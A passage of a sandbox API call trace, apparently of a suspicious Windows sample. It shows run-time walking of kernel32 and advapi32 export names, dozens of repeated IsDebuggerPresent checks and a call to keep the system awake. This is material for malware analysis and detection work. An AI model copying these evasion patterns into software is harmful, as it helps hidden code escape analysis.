(lpString="CREATEPROCESSASUSERW") returned 20 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0036.039] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0036.039] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0036.039] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0036.039] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0036.039] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0036.039] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0036.039] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0036.039] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0036.039] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0036.039] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0036.039] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0036.039] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0036.039] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0036.039] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0036.039] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0036.039] lstrlenA (lpString="CREATETHREAD") returned 12 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0036.039] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0036.039] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0036.040] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0036.040] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0036.040] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0036.040] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0036.040] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0036.040] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0036.040] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0036.040] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0036.040] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0036.040] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0036.040] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0036.040] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0036.040] lstrlenA (lpString="CTRLROUTINE") returned 11 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0036.040] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0036.040] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0036.040] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0036.040] lstrlenA (lpString="DEBUGBREAK") returned 10 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0036.040] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0036.040] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0036.040] lstrcpyA (in: lpString1=0x34f228, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0036.041] lstrlenA (lpString="DECODEPOINTER") returned 13 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0036.041] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0036.041] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0036.041] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0036.041] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0036.041] lstrlenA (lpString="DELETEATOM") returned 10 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0036.041] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0036.041] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0036.041] lstrlenA (lpString="DELETEFIBER") returned 11 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0036.041] lstrlenA (lpString="DELETEFILEA") returned 11 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0036.041] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0036.041] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0036.041] lstrlenA (lpString="DELETEFILEW") returned 11 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0036.041] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0036.041] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0036.041] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0036.041] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0036.041] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0036.041] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0036.041] lstrcpyA (in: lpString1=0x34f228, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0036.041] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0036.042] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0036.042] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0036.042] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0036.042] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0036.042] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0036.042] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0036.042] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0036.042] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0036.042] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0036.042] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0036.042] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0036.042] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0036.042] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0036.042] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0036.042] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0036.042] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0036.042] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0036.042] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0036.042] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0036.043] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0036.043] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0036.043] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0036.043] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0036.043] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0036.043] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0036.043] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0036.043] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0036.043] lstrcpyA (in: lpString1=0x34f228, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0036.043] IsDebuggerPresent () returned 0 [0036.043] IsDebuggerPresent () returned 0 [0036.043] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.044] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.045] IsDebuggerPresent () returned 0 [0036.046] IsDebuggerPresent () returned 0 [0036.046] IsDebuggerPresent () returned 0 [0036.046] IsDebuggerPresent () returned 0 [0036.046] IsDebuggerPresent () returned 0 [0036.046] IsDebuggerPresent () returned 0 [0036.046] IsDebuggerPresent () returned 0 [0036.046] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.047] IsDebuggerPresent () returned 0 [0036.048] IsDebuggerPresent () returned 0 [0036.048] IsDebuggerPresent () returned 0 [0036.048] IsDebuggerPresent () returned 0 [0036.048] IsDebuggerPresent () returned 0 [0036.048] IsDebuggerPresent () returned 0 [0036.048] IsDebuggerPresent () returned 0 [0036.048] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x80000 [0036.049] SetThreadExecutionState (esFlags=0x80000001) returned 0x80000000 [0036.049] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x90000 [0036.049] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000 [0036.049] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xb0000 [0036.049] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0xc0000 [0036.050] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0xd0000 [0036.050] lstrlenA (lpString="advapi32.dll") returned 12 [0036.050] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x74d40000 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="A_SHAFinal" | out: lpString1="A_SHAFinal") returned="A_SHAFinal" [0036.050] lstrlenA (lpString="A_SHAFINAL") returned 10 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="A_SHAInit" | out: lpString1="A_SHAInit") returned="A_SHAInit" [0036.050] lstrlenA (lpString="A_SHAINIT") returned 9 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="A_SHAUpdate" | out: lpString1="A_SHAUpdate") returned="A_SHAUpdate" [0036.050] lstrlenA (lpString="A_SHAUPDATE") returned 11 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AbortSystemShutdownA" | out: lpString1="AbortSystemShutdownA") returned="AbortSystemShutdownA" [0036.050] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNA") returned 20 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AbortSystemShutdownW" | out: lpString1="AbortSystemShutdownW") returned="AbortSystemShutdownW" [0036.050] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNW") returned 20 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheck" | out: lpString1="AccessCheck") returned="AccessCheck" [0036.050] lstrlenA (lpString="ACCESSCHECK") returned 11 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckAndAuditAlarmA" | out: lpString1="AccessCheckAndAuditAlarmA") returned="AccessCheckAndAuditAlarmA" [0036.050] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMA") returned 25 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckAndAuditAlarmW" | out: lpString1="AccessCheckAndAuditAlarmW") returned="AccessCheckAndAuditAlarmW" [0036.050] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMW") returned 25 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByType" | out: lpString1="AccessCheckByType") returned="AccessCheckByType" [0036.050] lstrlenA (lpString="ACCESSCHECKBYTYPE") returned 17 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByTypeAndAuditAlarmA" | out: lpString1="AccessCheckByTypeAndAuditAlarmA") returned="AccessCheckByTypeAndAuditAlarmA" [0036.050] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMA") returned 31 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByTypeAndAuditAlarmW" | out: lpString1="AccessCheckByTypeAndAuditAlarmW") returned="AccessCheckByTypeAndAuditAlarmW" [0036.050] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMW") returned 31 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByTypeResultList" | out: lpString1="AccessCheckByTypeResultList") returned="AccessCheckByTypeResultList" [0036.050] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLIST") returned 27 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByTypeResultListAndAuditAlarmA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmA") returned="AccessCheckByTypeResultListAndAuditAlarmA" [0036.050] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMA") returned 41 [0036.050] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleA" [0036.050] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEA") returned 49 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleW" [0036.051] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEW") returned 49 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AccessCheckByTypeResultListAndAuditAlarmW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmW") returned="AccessCheckByTypeResultListAndAuditAlarmW" [0036.051] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMW") returned 41 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAccessAllowedAce" | out: lpString1="AddAccessAllowedAce") returned="AddAccessAllowedAce" [0036.051] lstrlenA (lpString="ADDACCESSALLOWEDACE") returned 19 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAccessAllowedAceEx" | out: lpString1="AddAccessAllowedAceEx") returned="AddAccessAllowedAceEx" [0036.051] lstrlenA (lpString="ADDACCESSALLOWEDACEEX") returned 21 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAccessAllowedObjectAce" | out: lpString1="AddAccessAllowedObjectAce") returned="AddAccessAllowedObjectAce" [0036.051] lstrlenA (lpString="ADDACCESSALLOWEDOBJECTACE") returned 25 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAccessDeniedAce" | out: lpString1="AddAccessDeniedAce") returned="AddAccessDeniedAce" [0036.051] lstrlenA (lpString="ADDACCESSDENIEDACE") returned 18 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAccessDeniedAceEx" | out: lpString1="AddAccessDeniedAceEx") returned="AddAccessDeniedAceEx" [0036.051] lstrlenA (lpString="ADDACCESSDENIEDACEEX") returned 20 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAccessDeniedObjectAce" | out: lpString1="AddAccessDeniedObjectAce") returned="AddAccessDeniedObjectAce" [0036.051] lstrlenA (lpString="ADDACCESSDENIEDOBJECTACE") returned 24 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAce" | out: lpString1="AddAce") returned="AddAce" [0036.051] lstrlenA (lpString="ADDACE") returned 6 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAuditAccessAce" | out: lpString1="AddAuditAccessAce") returned="AddAuditAccessAce" [0036.051] lstrlenA (lpString="ADDAUDITACCESSACE") returned 17 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAuditAccessAceEx" | out: lpString1="AddAuditAccessAceEx") returned="AddAuditAccessAceEx" [0036.051] lstrlenA (lpString="ADDAUDITACCESSACEEX") returned 19 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAuditAccessObjectAce" | out: lpString1="AddAuditAccessObjectAce") returned="AddAuditAccessObjectAce" [0036.051] lstrlenA (lpString="ADDAUDITACCESSOBJECTACE") returned 23 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddConditionalAce" | out: lpString1="AddConditionalAce") returned="AddConditionalAce" [0036.051] lstrlenA (lpString="ADDCONDITIONALACE") returned 17 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddMandatoryAce" | out: lpString1="AddMandatoryAce") returned="AddMandatoryAce" [0036.051] lstrlenA (lpString="ADDMANDATORYACE") returned 15 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddUsersToEncryptedFile" | out: lpString1="AddUsersToEncryptedFile") returned="AddUsersToEncryptedFile" [0036.051] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILE") returned 23 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AddUsersToEncryptedFileEx" | out: lpString1="AddUsersToEncryptedFileEx") returned="AddUsersToEncryptedFileEx" [0036.051] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILEEX") returned 25 [0036.051] lstrcpyA (in: 